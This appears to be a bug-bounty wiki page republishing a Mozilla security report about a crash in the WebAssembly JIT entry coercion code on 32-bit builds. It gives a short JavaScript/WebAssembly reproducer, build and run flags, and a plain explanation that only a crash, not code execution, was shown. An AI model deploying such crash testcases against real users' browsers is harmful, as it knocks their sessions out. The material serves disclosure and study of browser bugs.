Crash [@ CoerceInPlace_JitEntry]
A crafted WebAssembly module caused a crash in the JIT entry coercion code when run on a 32-bit build. The reporter did not establish what an attacker could gain beyond the crash itself.
Originally disclosed on Mozilla
- Fixed in 3 days
- Paid in 5 days
- Disclosed after 3 days
Created attachment 9168672
stack
'''js
var module = new WebAssembly.Module(wasmTextToBinary('\
(memory 1) \
(export "store" (func $func0)) \
(func $func0 \
(param $var0 i32) \
(param $var1 i64) \
local.get $var0 \
local.get $var1 \
i64.store16 offset=16 \
) \
'));
for (let i = 0; i < 10; i++) {
try {
for (let i = 0; i < 1; i++) {
x = new WebAssembly.Instance(module);
}
for (let i = 0; i < 1; i++) {};
x.exports["store"]();
} catch (e) {}
}
'''
Compiled using GCC 9.3.0 and Clang 9 with:
`'CC="clang -m32 -msse2 -mfpmath=sse"' PKG_CONFIG_PATH=<path to your>/pkgconfig AR=ar 'CXX="clang++ -m32 -msse2 -mfpmath=sse"' sh ./configure --target=i686-pc-linux --enable-debug --with-ccache --enable-gczeal --enable-debug-symbols --disable-tests`
Run with:
`--fuzzing-safe --no-threads --no-baseline --no-ion`
Tested on m-c rev d51942b1e2d8. This seems 32-bit only.
Will try to get a bisect soon. I did not set any Cranelift flags. Weird memory addresses are on the stack so setting s-s and sec-bounty? as a start.
:bbouvier seems afk (according to status), so setting needinfo? from :cfallin and :lth prior to the bisection result.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
The browser process crashes; the report does not claim memory corruption or code execution, and the issue appears limited to 32-bit builds.
What the attacker needed
32-bit build; victim loads attacker page
How it was found
- Build a 32-bit debug browser with the listed compiler flags.
- Run it with the listed fuzzing-safe flags.
- Load a page that builds the WebAssembly module and calls its exported store function in a loop.
- Observe the crash in the JIT entry coercion code.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
WebAssembly lets a web page run compiled code inside the browser. Here a specially shaped module made the browser's internal conversion step crash, but the report only shows a crash, not a way to take over the machine.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.